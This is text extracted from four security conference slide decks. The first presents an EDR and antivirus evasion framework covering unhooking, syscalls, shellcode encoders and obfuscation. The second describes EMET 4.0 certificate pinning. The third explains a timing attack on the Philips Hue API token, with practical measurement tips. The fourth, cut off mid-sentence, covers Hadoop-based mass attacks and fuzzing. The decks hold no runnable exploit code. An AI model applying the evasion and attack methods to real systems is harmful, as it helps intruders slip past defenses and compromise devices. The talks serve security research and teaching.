https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs 20 Win32 API – NTDLL.DLL NTDLL.dll functions are the last instance called before the process switches from user-land to kernel-land. As such, they are the most likely to be monitored for suspicious activities from attackers or malware by AV/EDR vendors, and they are typically doing exactly that. EDR work by injecting a custom DLL-file into every new process, installing hooks in all relevant ntdll.dll exported functions. https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs EDR working (simplified) https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++ EDR Working (simplified) https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs Example of the regular (unhooked) function prototype of NtAllocateVirtualMemory call located in ntdll.dll Example of the hooked function prototype of NtAllocateVirtualMemory call located in ntdll.dll EDR Bypass Techniques Unhooking Unhooking is a technique working by replacing the ntdll.dll in memory with a fresh copy from the filesystem Repatching Repatching works by applying a counter patch to the patch previously applied by the EDR Manual Mapping This method loads a full copy of the target library file into memory. Any functions can be exported from it afterwards Overload Mapping Similar to the above. The payload stored in memory will be also backed by a legitimate file on disk Syscalls This technique will map into memory only a specified function extracted from a target DLL PE Memory Layout Unhooking https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++ Manual Mapping https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs USER32 KERNEL32 NTDLL (Original) … NTDLL (Manually mapped) Syscalls https://github.com/NVISOsecurity/brown-bags/tree/main/DInvoke%20to%20defeat%20EDRs Keynote: We can use the same assembly «stub» to call a syscall directly! Start of syscall signature Syscall number in EAX Syscall P/Invoke ◇ Easy to use ◇ Rapid development ◇ Will resolve functions statically ◇ Imports in the process IAT ◇ Detectable by IAT hooking and inline hooking C# Tradecraft P/Invoke vs D/Invoke D/Invoke ◇ Resolve function address dynamically ◇ No imports in the process IAT ◇ Manual mapping and syscalls ◇ A bit less intuitive to use ◇ Need Dinvoke.dll dependency 28 P/Invoke D/Invoke 31 Inceptor Template Driven Overview PowerShell, C#, C/C++ Artifacts EDR Bypass: Unhooking Manual Mapping Syscalls 32 Supports Shellcode, EXE or DLL AV Bypass: Anti-Debug Patching Obfuscation Malleable Encoders Spoofed- certificate Code-Signing Encoders 33 An Encoder is a function which processes data, changing its format into a new one using an arbitrary scheme. In Inceptor, encoders are used to ease shellcode loading, to obfuscate the shellcode, and to evade static AV signatures. This process may involve adding garbage data to the shellcode, perform byte shifting, reduce the size of the data, or encrypt it. Currently, we categorised 3 different kind of encoders: ◇ Encoders: encode the shellcode using a scheme ◇ Encryptors: encrypt the shellcode using an encryption scheme and a key ◇ Compressors: shrink the shellcode using a compression algorithm A bit more formally, with encoder we refer to a function 𝑒 ∶ 0, 1 𝑛 → {0,1}𝑛, where 𝑛 is a finite number. As every encoding scheme must be reversible, given any encoder 𝑒, the following condition should be satisfied: 𝑒 𝑥 = 𝑥 → 𝑒−1 𝑥 = 𝑥 ∀𝑥 ∈ {0,1}𝑛 LI vs LE Encoders 34 A Loader-Independent Encoder, or LI Encoder, is a type of encoder which is not managed by the loader itself. Very simply, every encoder which installs its decoding stub directly in the shellcode, is a LI encoder. An example of this kind of encoders is every encoder provided by msfvenom. An advantage of this kind of encoders is the possibility to be injected directly by the loader, without any modification. A Loader-Dependent Encoder, on the other hand, is a type of encoder which installs its decoding routine in the loader, requiring it to decode the blob of data before trying to inject it. The main advantages of LI encoders are: ◇ They don’t expose the decoding stub to the loader, making it harder to reverse them ◇ They don’t need a developer to generate a decoding routine for them However, LD encoders offer more customization and flexibility, and can be created ad-hoc. Inceptor supports two kind of encoders: ◇ Loader-Independent (LI) Encoders ◇ Loader-Dependent (LD) encoders Chainable Encoders 35 LD Encoders, as implemented in Inceptor, are also defined as «chainable encoders», meaning they can be chained together to encode a payload. Without being too formal, a chain of encoders is a set of encoders which are applied in sequence on a payload. Inceptor maintains a stack of encoders used during the encoding process, and subsequently add a decoding routine to the loader in order to permit full shellcode decoding. While this can increase the probability space of the generated shellcode, it exposes multiple decoding stubs to the risk of being detected, reverse engineered and added to an AV signature list. To partially mitigate this problem, inceptor offers a way to obfuscate the loader, using different tools and techniques. Encoder1 Encoder2 … EncoderN Malleable Templates 36 Shellcode Allocation ◇ VirtualAlloc, VirtualAllocEx ◇ NtAllocateVirtualMemory ◇ MapViewOfSection ◇ Etc. Shellocode Execution ◇ CreateThread, CreateRemoteThread ◇ NtCreateThreadEx ◇ QueueUserAPC ◇ Etc. This gives Inceptor the capability to implement virtually any technique to load and execute the shellcode, as long as a template is available for it. In Inceptor, each template represents a Loader, which implements two main sub-techniques: Obfuscators 37 The Obfuscation process is usually performed during or after the loader compilation, and the main objectives are: ◇ Make it harder to analyse the binary via reverse engineering (even because C# is usually trivial to reverse if not obfuscated) ◇ Evade common signature checking, or AMSI The main obfuscators used by Inceptor are: ◇ Llvm-obfuscator: Native IR-based obfuscation, performed directly during compilation using clang-cl ◇ ConfuserEx: Dotnet IR-based (IL) obfuscation, performed after the binary has been built ◇ Chameleon: PowerShell code-based obfuscation, performed after the script has been written At the time of writing, Inceptor offers limited support for code-based obfuscation. On the other hand, it offers full support for IR-based obfuscation, which relies mostly on external tools and platforms. EDR bypass 38 In Inceptor, EDR bypass is obtained using three main techniques: ◇ Full Unhooking ◇ Syscalls ◇ DLL Manual Mapping Unhooking ◇ Only used in C/C++ Artifacts ◇ The in-memory version of NTDLL is overwritten with a fresh copy from the disk Manual Mapping ◇ Only used in .NET artifacts ◇ Implemented via Dinvoke ◇ A copy of NTDLL is loaded from disk into memory ◇ Native APIs are resolved to point to the newly mapped DLL instead that on the original (hooked) DLL Syscalls ◇ Used in both C/C++ and .NET artifacts ◇ Implemented via Syswhisper (1 and 2) and Dinvoke ◇ Syscalls stubs are used to call system calls directly, bypassing native APIs D/Invoke As for today 01/06/2021, the Dinvoke DLL is immediately detected if added to a binary. In order to achieve the maximum from the tool, ensure to have a DInvoke fork which is not detected by the AV. 39 Send your PR 40 Inceptor needs your help Thanks! Any questions? You can find me at: ◇ Twitter: @klezVirus ◇ GitHub: klezVirus ◇ Gmail: [email protected] 41 Credits Special thanks to all the people who made and released free resources which helped me with building this presentation: ◇ Mantvydas Baranauskas (@spotheplanet) ◇ Jean Maes (@Jean_Maes_1994) ◇ Emeric Nasi (@sevagas) ◇ Daniel Duggan (@_RastaMouse) 42	pdf
EMET 4.0 PKI MITIGATION Neil Sikka DefCon 21 ABOUT ME • Security Engineer on MSRC (Microsoft Security Response Center) • I look at 0Days • EMET Developer • I enjoy doing security research on my free time too: http://neilscomputerblog.blogspot.com/ • Twitter: @neilsikka OVERVIEW 1. What Is EMET? 2. New Features in EMET 4.0 3. EMET Architecture 4. PKI Feature In Depth 5. PKI Demo WHAT IS EMET? • Mitigates various exploitation techniques • Not signature based—behavior based • Things like stopping shellcode from reading Export Address Table etc • DLLs dynamically loaded at runtime • No application recompiling/redeploying necessary • Can help mitigate 0Days • Works as far back as Windows XP • Giving back to the security community • Its Free COMPATIBLE APPLICATIONS CHANGES BETWEEN EMET 3.0/4.0 • We added Certificate Trust (PKI) Mitigations  • Our first non memory corruption mitigation • Some ROP Hardening (Deep Hooks, Antidetours, Banned Functions) • ROP Mitigations • New GUI SHELLCODE MITIGATIONS • DEP • Call SetProcessDEPPolicy • HeapSpray • Reserve locations used by heap sprays • Mandatory ASLR • Reserve module preferred base address, causing loader to load module somewhere else • NullPage • Reserve first memory page in process, defense in depth • EAF • Filter shellcode access to Export Address Table (kernel32 and ntdll) • BottomUp Randomization • Randomize data structure bases MORE SHELLCODE MITIGATIONS • SEHOP-validate SEH chain looking for _EXCEPTION_REGISTRATION structure whose prev pointer is -1 • ROP Hardening • Deep Hooks-protect critical APIs and the APIs they call • AntiDetours-protect against jumping over detoured part of a function • Banned Functions-disallow calling ntdll!LdrHotpatchRoutine ROP MITIGATIONS • ROP (Detour functions that are commonly ROP’ed to) • LoadLib • Make sure we are not trying to call LoadLibrary() on a network location • MemProt • Make sure we aren’t making stack pages executable • Caller • Make sure return address on stack was proceeded by a call • Make sure we didn’t ret to this function • SimExecFlow • Make sure we don’t ret to ROP gadgets • StackPivot • Make sure Stack Pointer (ESP) is between stack limits defined by TIB EMET ARCHITECTURE … EMET_Agent.exe (Tray Icon, Logging, PKI) EMET.dll EMET_CE.dll EMET.dll EMET.dll Inter-process Communications WHAT IS PKI? • A public-key infrastructure (PKI) is a set of hardware, software, people, policies, and procedures needed to create, manage, distribute, use, store, and revoke digital certificates. --Wikipedia • Used to ensure confidentiality, integrity and attribution online • Communication with bank websites and other secure communications online depend on PKI • PKI is the basis of HTTPS RECENT SSL/TLS INCIDENTS • December 2008- MD5 proven harmful (Sotirov/Stevens) • March 2011- Comodo CA signs 9 fraudulent certificates • August 2011- Diginotar signs at least 1 fraudulent certificate • November 2011- DigiCert issues 22 certs with 512 bit keys • January 2013- TURKTRUST creates 2 issues fraudulent CAs and a certificate PKI CERTIFICATE PINNING Pinning is when we enforce certain assumptions or expectations about certificates that we get from the internet EXISTING PINNING WORK • TACK (Marlinspike, Perrin): requires TLS changes, pins to TACK signing key • DANE/TLS (RFC 6698) : requires DNS changes • HSTS (RFC 6797) + Draft ietf websec key pinning (Evans, Palmer, Sleevi): pins to SubjectPublicKeyInfo hash, requires HTTP changes, used in Chrome EMET’S DESIGN GOALS • Our goals in EMET PKI design were the following: 1. Give control to users • Users specify the certificates • Users specify the domain names • Users specify the heuristic checks 2. Don’t require changes to pre-existing protocols • This could break something • This would require adoption by the rest of the internet 3. Keep EMET as a standalone tool on the client and not depend on remote services • In order to achieve these goals, we had to make tradeoffs that existing designs didn’t have to make EMET’S APPROACH • Requires no protocol changes • Pins to Root Certificates, not Intermediate Certificates • Pins to certificates in the Current User’s “Trusted Root Certification Authorities” store • Identifies certificates by either: • <Issuer, Serial #> Tuple OR • Subject Key Identifier (SHA-1 of subjectPublicKey) CERTIFICATE IDENTIFICATION • Certificates can be identified by <issuer, serial #> tuples • According to RFC5280: “the issuer name and serial number identify a unique certificate” • Identifying a specific certificate is more rigid (restrictive) • Certificates can be identified by Public Key • Some certificates chain to roots which share the same public key • EMET optionally allows certificate identification by only Subject Key Identifier (SHA-1 of hash of Public Key) EMET PKI PINNING ARCHITECTURE Pinned Site Pinned Site Pinned Site Pinned Site Pin Rule … Cert Cert Cert … login.skype.com secure.skype.com MSSkypeCA Baltimore CyberTrust Root Verisign GlobalSign GTE CyberTrust Global Root Default Configuration Example Architecture WINDOWS CAPI EXTENSION • Implemented in EMET_CE[64].dll • EMET_CE.dll loaded inside the process • Communicates with EMET_Agent.exe, and passes it the entire certificate chain including the Root and End certificates hex encoded in XML • EMET_Agent.exe decides whether the cert is OK or not CryptRegisterOIDFunction() is called with following parameters: CRYPT_OID_VERIFY_CERTIFICATE_CHAIN_POLICY_FUNC, CERT_CHAIN_POLICY_SSL, EXPORT_FUNC_NAME CERTIFICATE CHECKS 1 • If none of the following matches a Pinned Site’s Domain Name, pass because this domain is not configured • Server Name of HTTPS connection • End certificate’s Subject Name • End certificate’s Subject Simple Name • End certificate’s Subject DNS Name • End certificate’s Subject URL Name • Any Subject Alternative Name on End certificate • Is Pin Rule Expired? • If yes, fail CERTIFICATE CHECKS 2 • Either (Depending on Configuration) • Is Subject Name of root AND Serial Number of root equal to that in a pinned Root Store certificate? • If yes, pass OR • Is root Subject Key Identifier equal to that in a pinned Root Store certificate? • If yes, pass CERTIFICATE CHECKS 3 (EXCEPTIONS) • Is root Public Modulus Bit length < Pin Rule’s allowed length? • If yes, fail • Is root Digest Algorithm disallowed by the Pin Rule? • If yes, fail • Is root country equal to the Pin Rule’s Allowed Country? • If no, fail DEFAULT PROTECTED DOMAINS • Shipped in CertTrust.xml • Enabled by “Recommended Settings” in wizard • Protected Domains: • login.microsoftonline.com • secure.skype.com • www.facebook.com • login.yahoo.com • login.live.com • login.skype.com • twitter.com LIMITATIONS • Mitigation is specifically for SSL • Since we just check End and Root Certificates, we don’t run heuristics on intermediate certificates • Pin configuration is statically shipped with EMET, so they could get outdated • EMET’s mitigations are not 100% “bullet proof” • They just try to raise the bar for attackers REFERENCES • ntdll!LdrHotpatchRoutine • http://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf • MD5 Harmful (Sotirov/Stevens) • http://www.win.tue.nl/hashclash/rogue-ca/ • TACK (Marlinspike, Perrin) • http://tack.io/draft.html • DANE/TLS RFC 6698 • http://tools.ietf.org/html/rfc6698 • HSTS RFC 6797 • http://tools.ietf.org/html/rfc6797 • Chrome’s Public Key Pinning Extension (Evans, Palmer, Sleevi) • http://tools.ietf.org/html/draft-ietf-websec-key-pinning-07 • X509 RFC 5280 • http://tools.ietf.org/html/rfc5280 • Download EMET 4 • http://www.microsoft.com/en-us/download/details.aspx?id=39273 • More Information about Memory Corruption Mitigations in EMET 4.0: • http://www.recon.cx/2013/slides/Recon2013-Elias%20Bachaalany-Inside%20EMET%204.pdf QUESTIONS ?	pdf
Attacking The Internet of Things (using time) Paul McMillan Who am I? There are many ways to attack the Internet of Things Demo (start) What is a timing attack? def authenticate_user(user, pass): stored_hash=get_password_hash(user): if stored_hash: test_hash = sha1(password) if test_hash == stored_hash: Return True Else: Return False Many Kinds ● User Enumeration ● Blind SQL Injection ● CPU Cache attacks against crypto – Local – Cross-VM ● Lucky 13 ● Many more... String Comparison Timing Attacks memcmp while (len != 0) { a0 = ((byte ) srcp1)[0]; b0 = ((byte ) srcp2)[0]; srcp1 += 1; srcp2 += 1; res = a0 - b0; if (res != 0) return res; len -= 1; } MASSIVE Speedup c = character set n = Length of string Brute Force: c^n Timing Attack: c * n (* x) (x is # tries to distinguish) Why are they interesting? What are the drawbacks? Let's talk about time Internet SF-NY 70ms Spinning Disk 13ms Ram Latency 83ns L1 cache 1ns 1 cpu cycle ~0.33ns Speed of light in network cable 1 meter in ~5ns 200 meters ~1µs So... how long does each byte of that string comparison take? nanoseconds (on a modern 3Ghz machine) What about something a little slower? Network timing precision Sources of Imprecision ●Graphics drivers ●Background networking ●USB Devices ●Power saving measures ●Audio devices ●Etc. Software Timestamps are noisy. Let's use hardware! (picture of i350 + adapter) Data Collection ●Generate repeated traffic ●TCPdump the packets ●Analyze the data ●Feed back to traffic gen Making things work ● Libpcap 1.5.0+ ● TCPDump 4.6.0+ (released July 2, 2014) ● Recent-ish Kernel Compile these from source. In theory, this might work on OSX? It works on Ubuntu 14.04 for me. Nanoseconds. Ugh! ● Scapy doesn't read the pcap files ● Neither do most other packages ● Wireshark does! ● Nanosecond timestamps lose precision if you convert them to a float() ● So we subtract a large offset, and don't work with raw timestamps. ● Use integer Nanoseconds rather than float seconds What is the Hue API? ● GET /api/<user token>/lights ● Basic RESTful API ● Not very smart - always returns http status 200 even when returning errors. ● User token is the only required auth (no username, no sessions) ● Not very fast (can handle ~30req/s) Hue Base Oddities ● Running FreeRTOS/6.0.5 ● Network stack is dumber than a sack of rocks ● SSDP implementation ignores most parameters ● Each HTTP response is split into ~8 pieces ● HTTP stack ignores most incoming headers ● Ethernet Frame Check Sequence sometimes wrong ● Noisy: Broadcasts SSDP, ARPs for OpenDNS Statistics! Basic Review ● What is the Null Hypothesis? ● What does it mean to reject the null hypothesis? ● What are we fundamentally trying to do here? – We're sorting samples into groups, and trying to identify the outlier More Stats ● Why can't we use the t-test? ● What is the K-S test, and why does it help us here? ● What other approaches might we use? [a series of yet to be completed example data graphs] Data Prep ● Discarding data (2 standard deviations above the mean?) ● How to do that wrong! ● Why? ● [graph of prepped data] Code ● In the repo now, public after the talk: https://github.com/PaulMcMillan/2014_defcon_timing ● 3 separate but related scripts ● Don't forget to save your data for re-analysis ● Starting points for analysis, not full blown attack tools [brief browse through the code] [Demo discussion, dissection of working or failure. Draw some graphs] Tips and Tricks Keep the socket open (if you can) Configure your network card parameters properly ●use hardware timestamps ●turn off queues ●use nanosecond timestamps (gah!) ●Turn off some offloads Make everything Quiet ● reduce extraneous traffic to the device ● Slow loris to exclude other traffic ● don't run extra stuff on your attack machine ● Profile your victim – discard noisy periods Do a warmup run before starting to collect data! Find the simplest possible request Avoid statistical tests that assume your data is normal Gather data on all hypothesis concurrently Randomize the request order Don't overwhelm the device Don't forget you can stop and brute force a token Some code short circuits if strings aren't the same length. Try both: Fast and Noisy Slow and Quiet Which one works best will vary. Don't get fooled by your own data! When in doubt, take more samples. Questions? http://github.com/ PaulMcMillan/ 2014_defcon_timing Repo contains updated slides and a copy of many useful references. Attacking The Internet of Things (using time) Paul McMillan Are my presenter notes showing up properly? Who am I? Paul McMillan Security Engineer at Nebula (I build clouds) Security team for several prominent open source projects (not as exciting as you think it is) Developer outreach Mostly Python Like building distributed systems Like taking theoretical vulnerabilities and making them practical There are many ways to attack the Internet of Things You generally own the device, so physical attacks all work: Take it apart, read the flash memory Disassemble the firmware from the manufacturer Exploit shitty embedded C Fuzzing Logic errors RF Most of the standard network security errors are present too: Random open ports Old and vulnerable OS/application code Etc. We could go on forever. However, We're here to talk about timing attacks. Demo (start) This is a Philips Hue base station. That's a zigbee connected light. I figured they're a pretty good example from the “internet of things that are put on the internet for no good reason” What is a timing attack? What is a timing attack, anyway? Well, at the most basic level, asking the computer to do any operation takes time. A measurable amount of time. A timing attack exploits this. An attacker uses timing measurements to test hypotheses: def authenticate_user(user, pass): stored_hash=get_password_hash(user): if stored_hash: test_hash = sha1(password) if test_hash == stored_hash: Return True Else: Return False This is a pretty typical example of how user authentication works (yes, I know, it has problems, I left stuff out to keep this simple) <talk through the code> You'll notice that if it finds a user, it does some extra work. In this case, that work involves calculating the sha1 of the provided password. That's an expensive operation. An attacker can exploit this code to figure out which users have accounts in the system. Obviously, this isn't a vulnerability in all systems (some publish that data), but it's an unintended behavior. Many Kinds ● User Enumeration ● Blind SQL Injection ● CPU Cache attacks against crypto – Local – Cross-VM ● Lucky 13 ● Many more... The point here is that these all follow a common pattern: The attacker makes a guess about something The computer uses that to compute The attacker observes how long that takes (over many samples) and infers whether their hypothesis was correct String Comparison Timing Attacks However, today we're here to talk about string comparison timing attacks. These are often more difficult to exploit, and usually written off as completely hypothetical vulnerabilities (Hopefully my demo today will help fix that misconception) memcmp while (len != 0) { a0 = ((byte ) srcp1)[0]; b0 = ((byte ) srcp2)[0]; srcp1 += 1; srcp2 += 1; res = a0 - b0; if (res != 0) return res; len -= 1; } Snippet from http://www.nongnu.org/avr-libc/ <talk through the snippet> The key takeaway here is that it stops as soon as it finds 2 non-matching bytes. Unlike the previous example, we don't have to guess an entire username at once to get our timing difference. Instead, we just have to guess the first character. MASSIVE Speedup c = character set n = Length of string Brute Force: c^n Timing Attack: c * n (* x) (x is # tries to distinguish) If we're brute forcing an 8 character password with 16 possible characters (I like hex), we have to try a total of 4.2 billion guesses. That's likely to be impractical in the real world. On the other hand, if we're conducting a timing attack, and let's say it takes us 10000 guesses per character to determine a timing difference, that works out to about 1.2 million. If you bump the length up to 10, you're looking at a trillion for brute force, and just 1.6 million for the timing attack. Obviously, this is a worthwhile attack, if you can pull it off. Why are they interesting? What are the drawbacks? Why are they interesting? - They're more "pick the lock on the front door" than "find a backdoor" - They don't require "bad code" (just non-security mindful code) - Most people don't list them among "practical" exploits - Commonly overlooked What are the drawbacks? - lots of network traffic - really time consuming - work best on a slow devices - Susceptible to network noise / device contention Let's talk about time It's hard to get an intuitive grasp on small amounts of time. Let's look at some examples. Internet SF-NY 70ms Spinning Disk 13ms Ram Latency 83ns L1 cache 1ns 1 cpu cycle ~0.33ns Numbers more or less from here: http://duartes.org/gustavo/blog/post/what-your-compu ter-does-while-you-wait/ Speed of light in network cable 1 meter in ~5ns 200 meters ~1µs Remember that 1 microsecond is the minimum resolution recorded by the default kernel timestamps. So... how long does each byte of that string comparison take? nanoseconds (on a modern 3Ghz machine) And that's the catch, Ladies and Gentlemen... What about something a little slower? 120 Mhz STM32 processor Zigbee to the lights 10 base T network port The perfect device to demonstrate string comparison timing attacks. The comparison is still going to take nanoseconds, but it's going to take quite a lot of them. Image from the Philips press kit Network timing precision It turns out, if you want timing measurements good to the millisecond, or so, you're set. The kernel's networking stack works fine. However, since the effects we're looking for are much smaller than that, we need to work harder. Sources of Imprecision ●Graphics drivers ●Background networking ●USB Devices ●Power saving measures ●Audio devices ●Etc. For a first try, it makes sense to just try the basic, default kernel packet timestamping. It turns out, it's really noisy. Software Timestamps are noisy. Let's use hardware! It turns out this is easier now than when I started working on this a year ago. Linux support for hardware timestamps works out of the box in recent distros. Most of the results we're going to discuss in the rest of the talk CAN be obtained without hardware timestamp support. You just need many many more samples. Try and find a NIC with hardware support – they're pretty common now. Hardware with support for PTP (IEEE 1588) usually works. (picture of i350 + adapter) Since my laptop hardware doesn't seem to support hardware timestamps, I went looking for a high- quality source. It's always better to start with great hardware and work your way down, than to start with bad hardware and realize you need better. This is the Intel i350 NIC, which supports hardware timestamping with an 8ns resolution (the datasheet claims). It's connected through an expresscard to PCIe adapter, allowing me to run it from my laptop. It is directly connected to the Hue Base Station, since we don't want extra hardware introducing unpredictable latency, especially for a live demo. This is what we're doing the demo with right now. Data Collection ●Generate repeated traffic ●TCPdump the packets ●Analyze the data ●Feed back to traffic gen So we have our target, we have the hardware which will allow us to carefully measure it, and we have our chosen attack technique. What's next? Three fairly simple scripts. The first just generates login attempts over and over again. It takes an existing guess at the token, and appends a random character, then fires off the network request. While it's doing this, a second script makes sure that TCPDump is capturing all relevant traffic, using hardware timstamps, at nanosecond level detail. A third script periodically analyzes all captured data up to this point, and determines whether to advance the generator to a new guess. Making things work ● Libpcap 1.5.0+ ● TCPDump 4.6.0+ (released July 2, 2014) ● Recent-ish Kernel Compile these from source. In theory, this might work on OSX? It works on Ubuntu 14.04 for me. I'm going to take a slight diversion now and explain the practical steps to get nanosecond level hardware timestamps out of tcpdump. Until very recently, tcpdump only supported microsecond level timestamps. Libpcap added support a while ago, but tcpdump didn't add it until a couple months ago. Hardware timestamp support is also relatively new. The upshot of all this is you need to install tcpdump 4.6.0 and libpcap 1.5.0+. Nanoseconds. Ugh! ● Scapy doesn't read the pcap files ● Neither do most other packages ● Wireshark does! ● Nanosecond timestamps lose precision if you convert them to a float() ● So we subtract a large offset, and don't work with raw timestamps. ● Use integer Nanoseconds rather than float seconds Nanosecond timestamps turn out to be inconvenient to work with. For starters, very few things understand the new file format (this will get fixed soon I hope). Wireshark does understand pcap files with nansecond captures, and so we use tshark as our disector to analyse our capture file. This isn't very efficient. If you float() a nanosecond capture, you lose the last couple digits. To avoid imprecision and mistakes here, we prefer to work only in integers, and subtract a large offset to avoid overflows. What is the Hue API? ● GET /api/<user token>/lights ● Basic RESTful API ● Not very smart - always returns http status 200 even when returning errors. ● User token is the only required auth (no username, no sessions) ● Not very fast (can handle ~30req/s) Hue Base Oddities ● Running FreeRTOS/6.0.5 ● Network stack is dumber than a sack of rocks ● SSDP implementation ignores most parameters ● Each HTTP response is split into ~8 pieces ● HTTP stack ignores most incoming headers ● Ethernet Frame Check Sequence sometimes wrong ● Noisy: Broadcasts SSDP, ARPs for OpenDNS Statistics! (Groan) but don't worry, we're only going to cover what you need to know Basic Review ● What is the Null Hypothesis? ● What does it mean to reject the null hypothesis? ● What are we fundamentally trying to do here? – We're sorting samples into groups, and trying to identify the outlier More Stats ● Why can't we use the t-test? ● What is the K-S test, and why does it help us here? ● What other approaches might we use? [a series of yet to be completed example data graphs] Data Prep ● Discarding data (2 standard deviations above the mean?) ● How to do that wrong! ● Why? ● [graph of prepped data] Don't forget that these stats only work if your data points are approximately aligned in time, and you have the SAME NUMBER OF THEM! This doesn't work at all with lopsided data sets. It's easy to accidentally get there. Code ● In the repo now, public after the talk: https://github.com/PaulMcMillan/2014_defcon_timing ● 3 separate but related scripts ● Don't forget to save your data for re-analysis ● Starting points for analysis, not full blown attack tools [brief browse through the code] [Demo discussion, dissection of working or failure. Draw some graphs] Tips and Tricks These are going to come fairly rapid-fire, but most of them represent at least an afternoon of learning associated with failure. Keep the socket open (if you can) Configure your network card parameters properly ●use hardware timestamps ●turn off queues ●use nanosecond timestamps (gah!) ●Turn off some offloads Make everything Quiet ● reduce extraneous traffic to the device ● Slow loris to exclude other traffic ● don't run extra stuff on your attack machine ● Profile your victim – discard noisy periods Do a warmup run before starting to collect data! Yes, physical warmup Find the simplest possible request Avoid statistical tests that assume your data is normal Gather data on all hypothesis concurrently You really can't come back later and mix them up. Randomize the request order Don't cycle repeatedly. You're more likely to hit cache and cyclical timing weirdness. Don't overwhelm the device Don't forget you can stop and brute force a token Some code short circuits if strings aren't the same length. Try both: Fast and Noisy Slow and Quiet Which one works best will vary. Don't get fooled by your own data! When in doubt, take more samples. Questions? http://github.com/ PaulMcMillan/ 2014_defcon_timing Repo contains updated slides and a copy of many useful references.	pdf
Conducting Massive Attacks With Open Source Distributed Computing By Alejandro Caceres (@DotSlashPunk) DEF CON 21 How to (almost) get fired from your job Step 1: Speak at a hacker con on your open source community-focused side project (PunkSPIDER) - Combined distributed computing (my main area of research) with web application fuzzing - Was pretty cool (if I do say so myself) Step 2: Have a friend of a high-level executive at your company stumble upon talk at said con Step 3: Have said friend confuse community-focused web app security side project for a “cyber weapon” and tell executive that you’re building a cyber weapon in your spare time. Step 4:  DEF CON 21 Why did I just tell you that story? • It was the inspiration for this talk – got me thinking about the following: – What would it take to build true distributed network attack tools? – Where can distributed computing help the most? – How can one simply and quickly build distributed attack tools to do whatever it is you’re into • We won’t judge - but don’t do anything illegal. Seriously. Please? Ah whatever, you’re not listening anyway. • My goal is simply to explore some of the possible answers to these questions DEF CON 21 Distributed Computing Today • Great advances in distributed computing lately – Apache Hadoop – Google’s MapReduce papers and implementation details • We’ve seen some great stuff come out of this – Data Analytics – Super fast data processing (for faster analytics) – Counting things (analytics) – Analyzing things (analytics) • You might notice a trend in the above uses of distributed computing or “big data” technologies if you’re into buzzwords (looking at you Splunk, IBM, EMC, etc. etc. etc.) – Spoiler: we’re mostly using it for data analytics – This bores me DEF CON 21 Distributed Computing In the (distant) Future • My main “thing” is using distributed computing / ”big data” technologies for massive attacks – Most of my research thus far has been in application-level attacks • I want to dive into this area and see what’s possible! DEF CON 21 High-level idea behind distributed attacks • Much respect for the 1337 hackers out there, working on extremely complex low-level problems to break into things • However, much of the time this isn’t needed. Especially on the web application side, if you choose a big enough target (e.g. a country), you’re going to break into things. Lots of things. – We’ve seen the awful state of web application security in our distributed fuzzer unleashed on the Internet. (http://punkspider.hyperiongray.com) • <analogy> Try enough door knobs, and some of them will be open. In many environments, lots of them will be open. Or at least have a broken lock that you can kick in easily. </analogy> DEF CON 21 Why Distributed Attacks? • Often the time required to attack a target is way too long • Longer attack times may mean more chance of being detected and stopped • Extremely large beds of targets may be completely infeasible due to time restrictions and coordination issues • E.g. PunkSPIDER – our target was the entire Internet • The Internet is a big place, it would take years to scan it properly, even just for high level vulnerabilities • Coordination between computing resources – Without coordination between various computing resources, you may end up duplicating a lot of effort and the attack may be less effective DEF CON 21 But distributed computing sounds hard... • It’s not! Huge advances in recent years make it really easy to get up and running • In this talk we’ll focus on Apache Hadoop, one of the best, and simplest, implementations of distributed computing DEF CON 21 Hadoop and Me (and You) • I really like love Hadoop • Hadoop is an implementation of the MapReduce distributed computing concept – You write a Map function that gets distributed across the cluster – it takes in several key-value pairs as inputs and emits several key-value pairs as outputs – You write a reduce function. A partitioner sorts the output from the map function by its keys – each set of key-value pairs with common keys are sent through the map function, which emits a final set of key-value pairs. This final set should be the solution to the original problem you were trying to solve • If you’re confused, it’s actually pretty simple in practice. It’s also awesome, and easy to implement. DEF CON 21 Using MapReduce – PunkSCAN Example • The classic example for MapReduce is a “word count” example. It counts words real fast, cool huh? False. This is uber boring. – I even tried adding animated .gif flames and spinning .gif skulls to my word count job and it was still way too boring to show you • Let’s take a better example – You have a list of a ton of websites, you want to see if they have obvious vulnerabilities • In this case, lets assume we just have the list of sites • In PunkSPIDER our list comes from automated crawling of the Internet using a distributed crawler DEF CON 21 Using MapReduce PunkSCAN Example (cont.) DEF CON 21 Using MapReduce PunkSCAN Example (cont.) DEF CON 21 Demo Time! • Let’s see PunkSCAN in action • This is live production data being indexed to PunkSPIDER! DEF CON 21 My Love Affair With MapReduce • If you’re astute you noticed a few things in my example – It’s written in Python – It’s only a few lines of code • Some additional stuff I can tell you – As far as fuzzing goes, what I showed you is the only part of PunkSCAN that is “distributed computing-focused” code (the rest is a pretty standard fuzzer that I wrote and other basic python code) – It works REALLY well – we’ve scanned over 1.5 million domains using this code and found hundreds of thousands of vulnerabilities. It’s really stable and very very fast – More nodes means faster fuzzing – simple as that DEF CON 21 What is a Hadoop and Where Can I Get One? • Apache Hadoop is a free and open source implementation of distributed computing with MapReduce • It’s very easy to set up on pretty much any Linux distro (I recommend trying it out on Kali, it works great!) • A small cluster in the cloud can be built within a couple of hours • Alternately you can build your own off of really old hardware • Various other options – Amazon’s EMR provides a Hadoop-like environment on demand – They don’t like you hacking on Amazon’s EMR – I got kicked off of AWS so take my advice on this with a grain of salt DEF CON 21 Use Cases • Now that we have the basics out of the way – it’s time to talk about what we can do with this • Three Examples we will be covering – Distributed recon – Distributed attack – Distributed password cracking DEF CON 21 Use Case 1: Distributed Recon • Why distribute recon? – Greatly speed up repetitive tasks – Wonderful for finding a massive number of low hanging fruit – Can make deep recon across a massive number of targets (e.g. an entire country’s IP ranges) feasible in a short period of time) DEF CON 21 Use Case 1: Distributed Recon • The best example is PunkSCAN – We use Hadoop Streaming, a Hadoop function that reads input and output from stdout, allowing you to write code in whatever language you want (this is why PunkSCAN was in Python) • Heads up: Consider your problem – are you in need of CPU, Memory, or bandwidth? – If the former two are needed, any old cluster will do. If bandwidth, you need to carefully plan where your nodes are from a network 